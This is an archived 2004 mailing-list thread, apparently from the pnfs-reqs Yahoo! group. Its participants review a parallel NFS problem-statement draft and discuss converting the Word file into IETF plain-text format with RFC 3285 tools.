likely to export a >> writable filesystem through v4 over multiple servers, The key thing >> as >> I see it is that neither v3 nor v4 clients have a clue how to use >> more >> than one server address to spread out their work. >> >> I'd be happy to add that v4's additional statefulness adds to the >> complexity of exporting the same filesystem through multiple servers, >> though as I just argued, I think it is tangential to the main point. >> >> garth >> >> >> On Feb 1, 2004, at 10:52 PM, Dean Hildebrand wrote: >> >>> A couple comments: >>> >>> (1) >>> Page 3, paragraph 2 >>>> Storage Area Networks routinely provide much higher data bandwidths >>>> than >>>> do NFS file servers. Unfortunately, the simple array of blocks >>>> interface >>>> into Storage Area Networks does not lend itself to sharing data >>>> among >>>> the >>>> clients in a cluster. NFS file service, with its hierarchical >>>> namespace >>>> of separately controlled files, offers simpler and more >>>> cost-effective >>>> management. One might conclude that users must chose between high >>>> bandwidth and data sharing. >>> I'm wondering if the concept of 'data sharing' is obvious here. I >>> mean, >>> maybe it should be expanded to make it clear it is talking about file >>> consistency and such. >>> >>> Page 6, 2nd paragraph (Eliminating the bottleneck) >>> There is no mention here of NFSv4 state information. I beleive the >>> fact >>> that NFSv4 state information prevents exporting the same file via >>> multiple >>> NFSv4 servers (as was done in v3) should be mentioned. >>> >>> Dean >>> >>> On Thu, 29 Jan 2004, Garth Gibson wrote: >>> >>>> Here is a PDF version. >>>> garth >>>> >>>> On Jan 29, 2004, at 6:03 AM, Garth Gibson wrote: >>>> >>>>> Here is my Wed pass -- most of the work was in the applications and >>>>> citations sections, but I also did quite a bit in the introduction >>>>> and >>>>> a little bit in other places. >>>>> >>>>> Weekly concall is at 11am EST today. >>>>> >>>>> garth >>>>> >>>>> Yahoo! Groups Links >>>>> >>>>> To visit your group on the web, go to: >>>>> http://groups.yahoo.com/group/pnfs-reqs/ >>>>> >>>>> To unsubscribe from this group, send an email to: >>>>> pnfs-reqs-unsubscribe@yahoogroups.com >>>>> >>>>> Your use of Yahoo! Groups is subject to: >>>>> http://docs.yahoo.com/info/terms/ >>>>> >>>>> >>>> >>>> >>>> >>>> ____________________________________________________________________ >>>> __ >>>> __________ >>>> Yahoo! Groups Links >>>> * To visit your group on the web, go to: >>>> http://groups.yahoo.com/group/pnfs-reqs/ >>>> >>>> * To unsubscribe from this group, send an email to: >>>> pnfs-reqs-unsubscribe@yahoogroups.com >>>> >>>> * Your use of Yahoo! Groups is subject to the Yahoo! Terms of >>>> Service. >>>> >>>> >>> >>> >>> >>> >>> ------------------------ Yahoo! Groups Sponsor >>> ---------------------~--> >>> Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or >>> Lexmark >>> Printer at MyInks.com. Free s/h on orders $50 or more to the US & >>> Canada. >>> http://www.c1tracking.com/l.asp?cid=5511 >>> http://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/W6uqlB/TM >>> --------------------------------------------------------------------- >>> ~-> >>> >>> Yahoo! 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Attachment (not stored) draft-gibson-prob-st-00.doc Type: application/msword >From dhildebz@eecs.umich.edu Tue Feb 03 11:24:03 2004 Return-Path: X-Sender: dhildebz@eecs.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 847 invoked from network); 3 Feb 2004 19:24:01 -0000 Received: from unknown (66.218.66.172) by m6.grp.scd.yahoo.com with QMQP; 3 Feb 2004 19:24:01 -0000 Received: from unknown (HELO smtp.eecs.umich.edu) (141.213.4.43) by mta4.grp.scd.yahoo.com with SMTP; 3 Feb 2004 19:24:00 -0000 Received: from oemcomputer (dh152.citi.umich.edu [141.211.133.152]) (authenticated bits=0) by smtp.eecs.umich.edu (8.12.11/8.12.11) with ESMTP id i13JMw1v024533 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO) for ; Tue, 3 Feb 2004 14:22:58 -0500 Message-ID: <000801c3ea8a$d9ec6300$9885d38d@oemcomputer> To: References: Date: Tue, 3 Feb 2004 14:20:52 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----=_NextPart_000_0004_01C3EA60.EDD27AA0"" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Scanned-By: MIMEDefang 2.39 X-eGroups-Remote-IP: 141.213.4.43 From: ""Dean Hildebrand"" Subject: Re: [pnfs-reqs] new version of problem statement X-Yahoo-Group-Post: member; u=169352062 X-Yahoo-Profile: seattleplus ADVERTISEMENT click here Here is a copy of the World doc with changes to spelling, grammar and such. Feel free to use or ignore any changes. If you View->Markup in Word you should be able to see what I did. Dean ----- Original Message ----- From: Garth Gibson To: pnfs-reqs@yahoogroups.com Sent: Tuesday, February 03, 2004 1:06 PM Subject: Re: [pnfs-reqs] new version of problem statement Please do send me all spelling/grammar corrections. I want to finish this asap :-) garth On Feb 3, 2004, at 12:49 PM, Dean Hildebrand wrote: > I think you are right that the problem statement is not directly > concerned > with the statefulness of NFSv4. Adding something about it, or even > adding > what you said about spreading the work over the multiple servers might > be > useful. > > I also noticed some spelling/double word things that I can send along > if > useful. > Dean > > On Tue, 3 Feb 2004, Garth Gibson wrote: > >> Dean, >> >> Thanks! >> >> I will clarify data sharing in this paragraph. In my experience >> these >> two words ""data sharing"" are the most common way the industry >> distinguishes any file system from a pure logical volume, so I don't >> think there is much risk of confusion. >> >> As to NFSv4 versus NFSv3, exporting a writable filesystem through >> multiple server addresses is rarely done in v3, though a few vendors >> do >> this. Those same vendors, at least, are very likely to export a >> writable filesystem through v4 over multiple servers, The key thing >> as >> I see it is that neither v3 nor v4 clients have a clue how to use >> more >> than one server address to spread out their work. >> >> I'd be happy to add that v4's additional statefulness adds to the >> complexity of exporting the same filesystem through multiple servers, >> though as I just argued, I think it is tangential to the main point. >> >> garth >> >> >> On Feb 1, 2004, at 10:52 PM, Dean Hildebrand wrote: >> >>> A couple comments: >>> >>> (1) >>> Page 3, paragraph 2 >>>> Storage Area Networks routinely provide much higher data bandwidths >>>> than >>>> do NFS file servers. Unfortunately, the simple array of blocks >>>> interface >>>> into Storage Area Networks does not lend itself to sharing data >>>> among >>>> the >>>> clients in a cluster. NFS file service, with its hierarchical >>>> namespace >>>> of separately controlled files, offers simpler and more >>>> cost-effective >>>> management. One might conclude that users must chose between high >>>> bandwidth and data sharing. >>> I'm wondering if the concept of 'data sharing' is obvious here. I >>> mean, >>> maybe it should be expanded to make it clear it is talking about file >>> consistency and such. >>> >>> Page 6, 2nd paragraph (Eliminating the bottleneck) >>> There is no mention here of NFSv4 state information. I beleive the >>> fact >>> that NFSv4 state information prevents exporting the same file via >>> multiple >>> NFSv4 servers (as was done in v3) should be mentioned. >>> >>> Dean >>> >>> On Thu, 29 Jan 2004, Garth Gibson wrote: >>> >>>> Here is a PDF version. >>>> garth >>>> >>>> On Jan 29, 2004, at 6:03 AM, Garth Gibson wrote: >>>> >>>>> Here is my Wed pass -- most of the work was in the applications and >>>>> citations sections, but I also did quite a bit in the introduction >>>>> and >>>>> a little bit in other places. >>>>> >>>>> Weekly concall is at 11am EST today. >>>>> >>>>> garth >>>>> >>>>> Yahoo! Groups Links >>>>> >>>>> To visit your group on the web, go to: >>>>> http://groups.yahoo.com/group/pnfs-reqs/ >>>>> >>>>> To unsubscribe from this group, send an email to: >>>>> pnfs-reqs-unsubscribe@yahoogroups.com >>>>> >>>>> Your use of Yahoo! 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Attachment (not stored) draft-gibson-prob-st-00.doc Type: application/msword >From Thomas.Talpey@netapp.com Thu Feb 05 08:34:36 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 64988 invoked from network); 5 Feb 2004 16:34:34 -0000 Received: from unknown (66.218.66.166) by m15.grp.scd.yahoo.com with QMQP; 5 Feb 2004 16:34:34 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta5.grp.scd.yahoo.com with SMTP; 5 Feb 2004 16:34:34 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i15GY4Kw028307 for ; Thu, 5 Feb 2004 08:34:04 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i15GXnS5024214 for ; Thu, 5 Feb 2004 08:34:03 -0800 (PST) Received: from tmt.netapp.com ([10.97.6.31]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Thu, 5 Feb 2004 08:15:44 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3EBEA.290B8000"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Thu, 5 Feb 2004 05:15:29 -0800 Message-ID: <5.2.1.1.2.20040205080928.035852f8@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Do we have a concall today? Thread-Index: AcPr6imDHfvfdLxESLynAqqz6p5XGQ== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Do we have a concall today? X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu X-eGroups-Rocket-Track: -10 ; IPCR=n-w0,n100,g0 Are we on for a concall today (in a couple of hours) I assume? The final submission deadline is Monday 9am Eastern, and we need to wrap up the edits and send it pronto. Tom. >From garth@panasas.com Thu Feb 05 08:42:27 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 60107 invoked from network); 5 Feb 2004 16:42:26 -0000 Received: from unknown (66.218.66.172) by m9.grp.scd.yahoo.com with QMQP; 5 Feb 2004 16:42:26 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 5 Feb 2004 16:42:26 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYNK52; Thu, 5 Feb 2004 11:42:22 -0500 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: <5.2.1.1.2.20040205080928.035852f8@silver.nane.netapp.com> References: <5.2.1.1.2.20040205080928.035852f8@silver.nane.netapp.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <41A40A7E-57FA-11D8-8D65-000A95A94F04@panasas.com> Content-Transfer-Encoding: 7bit Date: Thu, 5 Feb 2004 11:42:16 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] Do we have a concall today? X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson X-eGroups-Rocket-Track: -10 We had a concall, Tom and me, on getting this done. I am doing the conversion to ASCI today. Thanks to Tom I have instructions, but as I look at it, my confidence is not that high. If anyone has a magic bullet, please speak up. garth On Feb 5, 2004, at 8:15 AM, Talpey, Thomas wrote: > Are we on for a concall today (in a couple of hours) I assume? > > The final submission deadline is Monday 9am Eastern, and we need > to wrap up the edits and send it pronto. > > Tom. >From ggrider@lanl.gov Thu Feb 05 09:45:28 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 28495 invoked from network); 5 Feb 2004 17:45:18 -0000 Received: from unknown (66.218.66.167) by m20.grp.scd.yahoo.com with QMQP; 5 Feb 2004 17:45:18 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta6.grp.scd.yahoo.com with SMTP; 5 Feb 2004 17:45:14 -0000 Received: from mailrelay1.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i15Hj2HR023161 for ; Thu, 5 Feb 2004 10:45:03 -0700 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay1.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i15Hj2rl030787 for ; Thu, 5 Feb 2004 10:45:02 -0700 Received: from cthulu.lanl.gov (cthulu.lanl.gov [128.165.115.129]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i15Hj2Yi025881 for ; Thu, 5 Feb 2004 10:45:02 -0700 Message-Id: <5.2.0.9.2.20040205104444.0154f488@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Thu, 05 Feb 2004 10:45:02 -0700 To: pnfs-reqs@yahoogroups.com In-Reply-To: <41A40A7E-57FA-11D8-8D65-000A95A94F04@panasas.com> References: <5.2.1.1.2.20040205080928.035852f8@silver.nane.netapp.com> <5.2.1.1.2.20040205080928.035852f8@silver.nane.netapp.com> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_8417043==.ALT"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: Re: [pnfs-reqs] Do we have a concall today? X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs X-eGroups-Rocket-Track: 1: 100 ; IPCR=n-w0,n100,g0 ; SERVER=66.218.86.251 Your confidence is not high on? Thanks Gary At 11:42 AM 2/5/2004 -0500, you wrote: > We had a concall, Tom and me, on getting this done. > > I am doing the conversion to ASCI today. Thanks to Tom I have > instructions, but as I look at it, my confidence is not that high. If > anyone has a magic bullet, please speak up. > > garth > > On Feb 5, 2004, at 8:15 AM, Talpey, Thomas wrote: > > > Are we on for a concall today (in a couple of hours) I assume? > > > > The final submission deadline is Monday 9am Eastern, and we need > > to wrap up the edits and send it pronto. > > > > Tom. > > > Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * > * Your use of Yahoo! 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Terms of Service. >From garth@panasas.com Thu Feb 05 09:51:58 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 33445 invoked from network); 5 Feb 2004 17:51:57 -0000 Received: from unknown (66.218.66.167) by m13.grp.scd.yahoo.com with QMQP; 5 Feb 2004 17:51:56 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 5 Feb 2004 17:51:55 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYNLFF; Thu, 5 Feb 2004 12:51:18 -0500 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: <5.2.0.9.2.20040205104444.0154f488@cic-mail.lanl.gov> References: <5.2.1.1.2.20040205080928.035852f8@silver.nane.netapp.com> <5.2.1.1.2.20040205080928.035852f8@silver.nane.netapp.com> <5.2.0.9.2.20040205104444.0154f488@cic-mail.lanl.gov> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Message-Id: Content-Transfer-Encoding: quoted-printable Date: Thu, 5 Feb 2004 12:51:12 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] Do we have a concall today? X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson X-eGroups-Rocket-Track: 1: 100 ; SERVER=66.218.86.249 converting Word to IETF compliant ASCI :-) On Feb 5, 2004, at 12:45 PM, Gary Grider wrote: > Your confidence is not high on? > > Thanks > Gary > > At 11:42 AM 2/5/2004 -0500, you wrote: > > We had a concall, Tom and me, on getting this done. > > I am doing the conversion to ASCI today. Thanks to Tom I have > instructions, but as I look at it, my confidence is not that high. If > anyone has a magic bullet, please speak up. > > garth >From garth@panasas.com Thu Feb 05 13:48:03 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 18326 invoked from network); 5 Feb 2004 21:48:01 -0000 Received: from unknown (66.218.66.172) by m12.grp.scd.yahoo.com with QMQP; 5 Feb 2004 21:48:01 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 5 Feb 2004 21:47:59 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYNMS9; Thu, 5 Feb 2004 16:46:40 -0500 Mime-Version: 1.0 (Apple Message framework v612) To: pnfs-reqs@yahoogroups.com Message-Id: Content-Type: multipart/mixed; boundary=Apple-Mail-51-1073630512 Date: Thu, 5 Feb 2004 16:46:34 -0500 X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: working on the Word to IETF conversion X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson X-eGroups-Rocket-Track: 1: 100 ; SERVER=66.218.86.252 Here are two Word files. The first is the draft after all content editing. The second is my attempt to reset margins and indents in order to use print to generic/text-only file to get an IETF ASCI document. I'm not doing well. Still working at it. Please help. Attachment (not stored) draft-gibson-prob-st-00.doc Type: application/applefile Attachment (not stored) draft-gibson-prob-st-00.doc Type: application/msword Attachment (not stored) draft-gibson-prob-st-00-1.doc Type: application/applefile Attachment (not stored) draft-gibson-prob-st-00-1.doc Type: application/msword >From bhalevy@panasas.com Thu Feb 05 13:56:05 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 14661 invoked from network); 5 Feb 2004 21:55:25 -0000 Received: from unknown (66.218.66.218) by m20.grp.scd.yahoo.com with QMQP; 5 Feb 2004 21:55:25 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta3.grp.scd.yahoo.com with SMTP; 5 Feb 2004 21:55:21 -0000 Received: by PIKES.panasas.com with Internet Mail Service (5.5.2653.19) id ; Thu, 5 Feb 2004 16:54:54 -0500 Message-ID: <30489F1321F5C343ACF6872B2CF7942A05D38832@PIKES.panasas.com> To: ""'pnfs-reqs@yahoogroups.com'"" Date: Thu, 5 Feb 2004 16:54:41 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-reqs] working on the Word to IETF conversion X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy X-eGroups-Rocket-Track: 1: 100 ; SERVER=66.218.86.251 Garth, I'll take a stab at it if no one else (with better experience with submitting I-Ds) volunteers... I'll need to do some homework going over http://www.ietf.org/ietf/1id-guidelines.txt, http://www.ietf.org/rfc/rfc2026.txt, and http://www.ietf.org/ID-nits.html Benny > -----Original Message----- > From: Garth Gibson [mailto:garth@Panasas.Com] > Sent: Thursday, February 05, 2004 4:47 PM > To: pnfs-reqs@yahoogroups.com > Subject: [pnfs-reqs] working on the Word to IETF conversion > > > Here are two Word files. The first is the draft after all content > editing. The second is my attempt to reset margins and indents in > order to use print to generic/text-only file to get an IETF ASCI > document. I'm not doing well. Still working at it. Please help. > > > > ------------------------ Yahoo! Groups Sponsor > ---------------------~--> > Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark > Printer at MyInks.com. Free s/h on orders $50 or more to the > US & Canada. > http://www.c1tracking.com/l.asp?cid=5511 > http://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/W6uqlB/TM > -------------------------------------------------------------- > -------~-> > > > Yahoo! Groups Links > > > > > >From black_david@emc.com Thu Feb 05 22:03:14 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 6396 invoked from network); 6 Feb 2004 06:03:14 -0000 Received: from unknown (66.218.66.217) by m11.grp.scd.yahoo.com with QMQP; 6 Feb 2004 06:03:14 -0000 Received: from unknown (HELO srexchimc2.eng.emc.com) (168.159.100.11) by mta2.grp.scd.yahoo.com with SMTP; 6 Feb 2004 06:03:13 -0000 Received: from MAHO3MSX2.corp.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by srexchimc2.eng.emc.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id DWRHDBH1; Fri, 6 Feb 2004 01:02:22 -0500 Received: by maho3msx2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 6 Feb 2004 01:02:21 -0500 Message-ID: X-Sybari-Trust: 2b481d31 b1a25add bdf41840 0000013d To: pnfs-reqs@yahoogroups.com Date: Fri, 6 Feb 2004 01:02:20 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-eGroups-Remote-IP: 168.159.100.11 From: black_david@emc.com Subject: RE: [pnfs-reqs] working on the Word to IETF conversion X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 X-eGroups-Rocket-Track: 1: 100 ; SERVER=66.218.86.248 ADVERTISEMENT Garth, > Here are two Word files. The first is the draft after all content > editing. The second is my attempt to reset margins and indents in > order to use print to generic/text-only file to get an IETF ASCI > document. I'm not doing well. Still working at it. Please help. You're fighting a losing battle - MS Word has entirely too many tricks up its sleeve. Fortunately, it has been beaten into submission by experts in the past, who have left instructions on how to do it in RFC 3285 (http://www.ietf.org/rfc/rfc3285.txt). You want to get the MS Word template from one of the locations provided in that RFC, cut and paste your entire content as unformatted text into a new file based on that template. It is crucial to use only the RFC text styles in that template - there should be no text in *any* other style (e.g., Normal, Heading) when you're done). Then follow the instructions in the RFC to print to a file via a Text-only printer (""Save As"" won't work, even when saving as a text file, as it allows Word too much latitude to play games) and run the CRLF utility over the resulting text file before submitting. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- > -----Original Message----- > From: Garth Gibson [mailto:garth@panasas.com] > Sent: Thursday, February 05, 2004 4:47 PM > To: pnfs-reqs@yahoogroups.com > Subject: [pnfs-reqs] working on the Word to IETF conversion > > > Here are two Word files. The first is the draft after all content > editing. The second is my attempt to reset margins and indents in > order to use print to generic/text-only file to get an IETF ASCI > document. I'm not doing well. Still working at it. Please help. > > > > ------------------------ Yahoo! Groups Sponsor > ---------------------~--> > Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark > Printer at MyInks.com. Free s/h on orders $50 or more to the > US & Canada. > http://www.c1tracking.com/l.asp?cid=5511 > http://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/W6uqlB/TM > -------------------------------------------------------------- > -------~-> > > > Yahoo! Groups Links > > > > > >From julian_satran@il.ibm.com Fri Feb 06 01:29:54 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 78483 invoked from network); 6 Feb 2004 09:29:53 -0000 Received: from unknown (66.218.66.172) by m12.grp.scd.yahoo.com with QMQP; 6 Feb 2004 09:29:53 -0000 Received: from unknown (HELO mtagate3.uk.ibm.com) (195.212.29.136) by mta4.grp.scd.yahoo.com with SMTP; 6 Feb 2004 09:29:52 -0000 Received: from d06nrmr1407.portsmouth.uk.ibm.com (d06nrmr1407.portsmouth.uk.ibm.com [9.149.38.185]) by mtagate3.uk.ibm.com (8.12.10/8.12.10) with ESMTP id i169TiMf108972 for ; Fri, 6 Feb 2004 09:29:44 GMT Received: from d12ml102.megacenter.de.ibm.com (d06av02.portsmouth.uk.ibm.com [9.149.37.228]) by d06nrmr1407.portsmouth.uk.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i169ThHh176618 for ; Fri, 6 Feb 2004 09:29:44 GMT In-Reply-To: To: pnfs-reqs@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Fri, 6 Feb 2004 11:29:42 +0200 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.0.2CF2|July 23, 2003) at 06/02/2004 11:29:43, Serialize complete at 06/02/2004 11:29:43 Content-Type: text/plain; charset=""US-ASCII"" X-eGroups-Remote-IP: 195.212.29.136 From: Julian Satran Subject: RE: [pnfs-reqs] working on the Word to IETF conversion X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran Garth, Go for the file I sent you. It should have all you need (including numbering not available in the RFC). If it does not work switch to framemaker. It will take you around an hour if you know your way and two-three if you don't. Regards, Julo black_david@emc.com 06/02/2004 08:02 Please respond to pnfs-reqs To pnfs-reqs@yahoogroups.com cc Subject RE: [pnfs-reqs] working on the Word to IETF conversion Garth, > Here are two Word files. The first is the draft after all content > editing. The second is my attempt to reset margins and indents in > order to use print to generic/text-only file to get an IETF ASCI > document. I'm not doing well. Still working at it. Please help. You're fighting a losing battle - MS Word has entirely too many tricks up its sleeve. Fortunately, it has been beaten into submission by experts in the past, who have left instructions on how to do it in RFC 3285 (http://www.ietf.org/rfc/rfc3285.txt). You want to get the MS Word template from one of the locations provided in that RFC, cut and paste your entire content as unformatted text into a new file based on that template. It is crucial to use only the RFC text styles in that template - there should be no text in *any* other style (e.g., Normal, Heading) when you're done). Then follow the instructions in the RFC to print to a file via a Text-only printer (""Save As"" won't work, even when saving as a text file, as it allows Word too much latitude to play games) and run the CRLF utility over the resulting text file before submitting. Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- > -----Original Message----- > From: Garth Gibson [mailto:garth@panasas.com] > Sent: Thursday, February 05, 2004 4:47 PM > To: pnfs-reqs@yahoogroups.com > Subject: [pnfs-reqs] working on the Word to IETF conversion > > > Here are two Word files. The first is the draft after all content > editing. The second is my attempt to reset margins and indents in > order to use print to generic/text-only file to get an IETF ASCI > document. I'm not doing well. Still working at it. Please help. > > > > ------------------------ Yahoo! Groups Sponsor > ---------------------~--> > Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark > Printer at MyInks.com. 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Groups Links >From julian_satran@il.ibm.com Fri Feb 06 01:30:43 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 34778 invoked from network); 6 Feb 2004 09:30:39 -0000 Received: from unknown (66.218.66.217) by m14.grp.scd.yahoo.com with QMQP; 6 Feb 2004 09:30:38 -0000 Received: from unknown (HELO mtagate3.uk.ibm.com) (195.212.29.136) by mta2.grp.scd.yahoo.com with SMTP; 6 Feb 2004 09:30:32 -0000 Received: from d06nrmr1407.portsmouth.uk.ibm.com (d06nrmr1407.portsmouth.uk.ibm.com [9.149.38.185]) by mtagate3.uk.ibm.com (8.12.10/8.12.10) with ESMTP id i169TiMf126760 for ; Fri, 6 Feb 2004 09:29:44 GMT Received: from d12ml102.megacenter.de.ibm.com (d06av02.portsmouth.uk.ibm.com [9.149.37.228]) by d06nrmr1407.portsmouth.uk.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i169ThHg176618 for ; Fri, 6 Feb 2004 09:29:43 GMT In-Reply-To: To: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Fri, 6 Feb 2004 11:29:19 +0200 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.0.2CF2|July 23, 2003) at 06/02/2004 11:29:42 Content-Type: multipart/mixed; boundary=""=_mixed 002E9A2BC2256E32_="" X-eGroups-Remote-IP: 195.212.29.136 From: Julian Satran Subject: Re: [pnfs-reqs] working on the Word to IETF conversion X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran Garth, I send you a draft in word that has a set of word formats named RFCxxx. Use it as a template and change all your formats to it. Do not change it. It has all the fonts in fixed pitch and the template if you use only the RFC named styles is working (was with Word 2000). Then you should be safe with the two conversion tools (print to a generic printer and use crlf.exe). If you still have trouble I can send you the Framemaker template and instructions on how to use it (far better). Regards, Julo Garth Gibson 05/02/2004 23:46 Please respond to pnfs-reqs To pnfs-reqs@yahoogroups.com cc Subject [pnfs-reqs] working on the Word to IETF conversion Here are two Word files. The first is the draft after all content editing. The second is my attempt to reset margins and indents in order to use print to generic/text-only file to get an IETF ASCI document. I'm not doing well. Still working at it. Please help. Yahoo! Groups Links Attachment (not stored) draft-gibson-prob-st-00.doc.hqx Type: application/mac-binhex40 >From garth@panasas.com Fri Feb 06 10:37:03 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 72863 invoked from network); 6 Feb 2004 18:36:59 -0000 Received: from unknown (66.218.66.172) by m16.grp.scd.yahoo.com with QMQP; 6 Feb 2004 18:36:59 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 6 Feb 2004 18:36:57 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYNQ7H; Fri, 6 Feb 2004 13:35:43 -0500 Mime-Version: 1.0 (Apple Message framework v612) To: pnfs-reqs@yahoogroups.com Message-Id: <4138B0BA-58D3-11D8-825E-000A95A94F04@panasas.com> Content-Type: multipart/mixed; boundary=Apple-Mail-6--998911455 